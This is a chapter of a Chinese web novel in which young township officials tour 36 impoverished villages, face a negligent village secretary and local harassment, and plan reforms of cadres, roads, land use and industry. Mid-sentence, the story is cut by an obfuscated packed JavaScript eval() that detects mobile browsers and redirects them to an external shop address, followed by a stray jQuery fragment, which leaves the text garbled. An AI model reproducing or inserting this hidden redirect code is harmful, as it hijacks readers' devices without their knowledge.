整整一个星期。叶舟几乎天天泡在村里，骑着田明哲那辆除了喇叭不响、浑身都响的破摩托，硬生生把望川镇三十六个行政村，从头到尾、犄角旮旯，全部跑完了。
这一周跑下来，身体是真遭罪。一路全是烂路，坑洼颠簸，震得人五脏六腑都跟着晃。每天回到镇上，屁股颠得麻木僵硬，双腿从车上跨下来都是发软打颤的，半天缓不过劲。
但比起身上的累，心里的堵才是真的让人喘不过气。三十六个村，整整三十五个，清一色的穷。不是那种日子紧巴、省吃俭用的普通清贫，是扎根十几年、烂到根子上的贫瘠。放眼望去，老旧土坯房连片成片，墙皮掉得精光，黄泥麦秸的骨架裸露在外。瓦房漏风漏雨，荒田杂草丛生，大片土地常年撂荒。村里随处可见壮年汉子，不务工、不种地、不干活，大白天蹲墙根、晒太阳、打牌抽烟，浑浑噩噩熬日子。村村有烂病，村村烂得不一样。可那份深入骨髓的无奈和颓废，却一模一样。
贺晓斌、姜映月也没闲着。两人专门抽出两天时间，亲自跟着下村走访。越看，脸色越沉；越走，心里越凉。
所有村子里，最让人糟心、最让人无力的，就是最后走访的汪家坝。
汪家坝挨着河滩，全村一千六百八十多口人，在册耕地一千九百多亩。可这近两千亩地里，过半都是河滩冲积出来的沙薄地。存不住水，留不住肥，种啥减产啥。全村大半土地，基本等于废地。
村书记霍大贵，四十出头的年纪，正是干事的岁数，却活得比退休老人还摆烂。叶舟第一次去汪家坝那天，大白天的，他就懒洋洋蹲在村委会门口台阶上，翘着二郎腿晒太阳、嗑瓜子，悠闲得不像话。再看村委会办公室，更是离谱。屋里乱七八糟、堆积如山，废纸、破农具、旧杂物到处乱扔，地面脏得看不清原貌，乱得跟遭过贼、被洗劫过一样，半点办公的样子都没有。
叶舟当时站在门口，眉头下意识紧紧皱起，压着心里的不适，开口问道：“霍书记，麻烦你简单介绍一下咱们村的整体情况吧。”
结果霍大贵眼皮都懒得抬一下，嗑着瓜子，语气吊儿郎当，混不吝的态度摆在脸上：“还能有啥情况？穷呗。除了穷，啥都没有，哈哈哈哈！”他笑得大大咧咧，毫无愧色。随口吐出的瓜子壳，轻飘飘飞出来，不偏不倚，刚好落在叶舟的鞋面之上。全程没有半点歉意，没有半点尴尬，仿佛这本就是理所应当。
叶舟当时瞬间没了问话的兴致。他看得太明白了——这个霍大贵，不是藏着问题不报，不是刻意隐瞒村情。他是真的啥也不管、啥也不干、啥也不在乎。连最基本的表面应付工作，他都懒得装。
后来田明哲私下跟叶舟叹气，唠了一路汪家坝的底细。汪家坝早些年也有两千多常住人口，可这么多年下来，但凡脑子活络、肯吃苦、有手艺、有门路的年轻人，早就带着家人陆续搬走了。能走的，全都走光了。剩下留在村里的，说白了就两类人。一类是走不动的孤寡老人、留守孩童，无依无靠，被迫困在这里。另一类，是压根不想奋斗、不想外出、只想窝在村里混吃等死的懒汉。
大白天的，村口土路之上，四五个青壮年男人晃来晃去。嘴里叼着烟，眼神涣散空洞，麻木又慵懒，整日无所事事，活得散漫又颓废，跟路边漫无目的的野狗别无两样。
真正让所有人动怒、彻底点燃火气的，是姜映月下乡那次。
那天姜映月跟着队伍一起进村调研，走在最前面，耐心向沿路村民询问民情、记录问题。一行人走到村口那棵歪脖子老树下，树下蹲着几个闲散汉子，本来在低声闲聊，看见长相出众、气质干净的姜映月，眼神立马变了，嘴里开始不干不净。几个人压低声音嘀咕，不大不小的音量，刚好能让一行人听得一清二楚。
“哟，这女的谁啊？长得挺俏啊。”
姜映月脚步没停，神色不变，压根懒得搭理这群闲人。可她的沉默退让，反倒让对方愈发肆无忌惮。一个瘦高的男人直接站起身，叼着半截烟头，嘴角歪着一脸痞气，冲着姜映月轻浮地吹了一声口哨：“哎大妹子，你哪儿的人啊？来我们村干啥？闲着没事的话，要不跟我回家坐坐？”
轻浮、油腻、挑衅。字字句句，全无半点敬畏，全无半点规矩。
姜映月终于停下脚步。她缓缓侧过头，冷冷看了那瘦高男人一眼。就一眼。没有争吵，没有质问，没有呵斥。只有彻骨的冷淡和失望。随后她一言不发，转头继续往前走。
可这份体面隐忍，底下压抑的火气，早就积攒到了顶点。
当天走访结束，回到镇上，天色已经彻底黑透。一行人刚踏进镇政府大院，姜映月便径直回了自己的办公室。“砰——”房门被她反手重重关上。下一秒，一声清脆巨响炸响在屋内。她抬手狠狠一巴掌拍在办公桌上，桌面震动，桌上的搪瓷茶杯直接被震得原地跳了一下，哐当作响。
“霍大贵！他到底配不配当这个村书记！”
压抑了一整天的怒火，彻底爆发。声音穿透力极强，隔着厚实的门板都清晰无比。走廊上两个路过的办事员，吓得脖子一缩，大气不敢喘，脚步飞快，一溜烟加速逃离。
外头人人噤声，屋内鸦雀无声。贺晓斌默默倒了一杯热茶，轻轻推到她手边，安安静静待在一旁，一句话都不劝。他太了解自己这位师姐了。姜映月性子刚正、克制、顾大局。能让她当众失控、憋到发火，足以说明今天所见所闻，到底有多离谱、多让人寒心。现在劝，就是火上浇油，只能让她把积攒的憋屈和火气彻底泄完。
足足骂了五六分钟，姜映月嗓子微微沙哑，胸口起伏，情绪才慢慢平复下来。她端起茶水猛灌两口，靠在沙发上，抬手揉着发胀的太阳穴，声音重新恢复平日里的冷静利落：“小舟，你来说吧。这一周你跑遍了全镇三十六个村，所有底细、所有问题，你最清楚。把真实情况，原原本本汇报一遍。”
叶舟点点头，搬了条板凳，稳稳坐在沙发对面。手里紧紧攥着那本翻得卷边、写满密密麻麻字迹的笔记本。这一周的奔波、压抑、震撼、心寒，全都记在这本本子里。他深吸了一口气，抬眼看向对面两位一把手，语气郑重：“书记，镇长，我提前说一句。你们听完，得做好十足的心理准备。望川镇的底子，比我们想象的，烂太多了。”
贺晓斌端着茶杯，脸上扯出一抹极苦的笑。他心里早就有数，只是还不愿意彻底认命：“没事，你尽管如实说。这条路是我们自己主动选的，再难、再烂、再苦，我们都接着。”这话是安慰叶舟，更是他给自己打气。当初主动请缨来望川，以为只是难度偏高的历练。现在看来，是自己太天真了。
“好。”叶舟不再铺垫，翻开笔记本，清了清嗓子，开始逐条汇报。“目前，望川镇常住人口五万两千八百余人，下辖三十六个行政村，村落平均一千四百五十人左右。全镇在册耕地总面积六万四千亩。”说到这里，他刻意停顿了一下，加重了语气，“但是——二十年前那场特大洪水，直接冲毁地貌，全镇遗留下来两万六千多亩沙化荒地。土层薄、渗水快、无肥力，完全不适合粮食种植，常年大面积撂荒，根本利用不起来。”
两万六千亩荒地。数据一出，屋内气氛瞬间一沉。姜映月端着茶杯的手骤然一顿，眼底满是难以置信的沉重。六万四千亩总耕地，直接废掉两万六。真正能安稳种粮、保收成的有效耕地，仅剩三万八千亩。五万多人口，分摊三万八千亩良田，人均耕地不足八分地。
叶舟轻声补充，语气带着浓浓的无力：“八分地，能做什么？一年两季小麦玉米，累死累活耕种，刨去种子、化肥、农药、人工成本，一年到头勉强够一家人糊口温饱。想存钱、想发展、想改善生活，根本不可能。”这就是望川镇百姓世世代代困死的根源。
叶舟继续往下梳理：“而且全镇产业结构极端畸形。全镇无正规工业、无龙头产业、无特色经济。零零散散的小作坊，几乎全部集中在雷家庄。三十六个村，唯一富足的，只有雷家庄一个。土地指标最优、作坊产业最全、施工队常年创收、道路基建完善，资源、资金、政策、渠道，全部
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17687890|206572||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
倾斜一地。除此之外，剩下三十五个村子，模式全部一模一样。纯靠原始农耕硬撑，无产业、无就业、无出路，年轻人外流严重，留守人口颓废混日子。”
讲到最差的村子，叶舟笔尖一顿，语气沉到谷底：“全镇最差、风气最烂、班子最瘫的，就是汪家坝。村书记霍大贵带头躺平、带头摆烂，不作为、不担当、不管理。上梁不正下梁歪，整个村两委彻底涣散，村里风气彻底坏掉。有点本事、有点想法的人，早就全部搬走逃离。留下来的，要么老弱无助，要么懒散混世。”
他合上笔记本，抬头看向两人，字字铿锵，总结出望川镇的死局：“总结一句话——望川镇，种地先天不足，人力人心涣散，产业完全空白。教育落后、医疗薄弱、交通瘫痪、工业为零。四大民生根基，全线缺位。”
办公室瞬间死寂。足足十秒，没人说话。贺晓斌和姜映月对视一眼，两人眼底都是同款的苦笑和无奈。原本以为是困难模式。现在彻底看清，妥妥的地狱开局。烂根太深、积弊太久、窟窿太大。稍有不慎，别说做出成绩，三人都能被这一潭烂泥彻底拖垮、拖废。
沉默良久，姜映月开口，声音冷静而坚定：“小舟，你跑完全镇，看得最透彻。既然病根摸清了，你心里肯定有思路。说说你的想法，怎么破局？”
这个问题，叶舟在跑村的路上翻来覆去想了无数遍。一幕幕破败村落、一张张麻木人脸、一个个荒废角落，在他脑子里反复复盘。无数套方案被推翻，最后只留下两条最稳、最核心、最能救命的主线。
叶舟竖起两根手指，语气笃定：“想要盘活望川，必须两条腿同时走路，缺一不可。”
贺晓斌瞬间坐直身体，把茶杯轻轻放在桌面，眼神专注：“继续说。”
“第一条，先整人，再做事。彻底清理整顿基层队伍。”叶舟第一句话就直接动了最疼的地方，“镇机关各站所、七站八所、三十六个行政村所有村干部，全部重新考核、重新筛查。踏实肯干、真心为民的，留岗重用。混日子、摆烂躺平、尸位素餐的，一律调整、替换、清退。重症必须下猛药，积弊必须用重典。”
这话极重。在座三人都清楚，霍大贵只是浮出水面的一个典型。全镇摸下来，七八名村支书常年不作为、不干事、不担责。镇机关内部，更是盘根错节、混子扎堆、躺平成风。贺晓斌缓缓点头，眼底闪过一丝杀伐果决：“说得对。烂摊子，只能狠治。越软，越烂。”
叶舟继续第二条思路：“第二条，补短板、兴产业、盘活土地，从零开始搞发展。首先破交通。全镇除了雷家庄，村村烂土路，雨天泥泞封路，晴天颠簸难行。路不通，货出不去、人进不来、资本落不下。交通不解决，所有发展都是空谈。其次盘活土地资源。两万六千亩沙荒地不能继续白白荒置，请农业专家实地勘测，因地制宜引种耐旱、适沙的经济作物，变废为宝。现有良田优化种植结构，告别单一小麦玉米，提高土地产值。然后补产业空白，不能再把所有产业集中在雷家庄形成一家独大、全镇供血的畸形格局，每个村分批落地小型加工厂、农副产品作坊，村村有产业，村村有就业。老百姓家门口能赚钱，人心才能稳，村子才能活。最后补齐教育、医疗两大民生短板，留人、育人、安民，根基就在这两项。”
一番话说完，条理清晰，步步扎实。没有空话，没有大话，全是落地的硬招。
贺晓斌靠在沙发上，仰头盯着头顶昏黄老旧的日光灯，久久沉默。半晌，他忽然低低笑了一声。这笑声里，有无奈，有压力，但更多的是被逼到绝境后破釜沉舟的决绝。他猛地坐直身子，抬手重重一拍大腿：“行！小舟，就按你这套思路，全面推进！”
姜映月也当即拍板，眼神锐利果断：“接下来你细化整理出完整实施方案，我们班子集体研讨定稿。正好借着全域发展的契机，把全镇萎靡涣散的基层队伍，一次性彻底梳理干净！”
地狱开局又如何？积重难返又如何？从今晚这间办公室开始，望川镇的破局翻身之战，正式打响。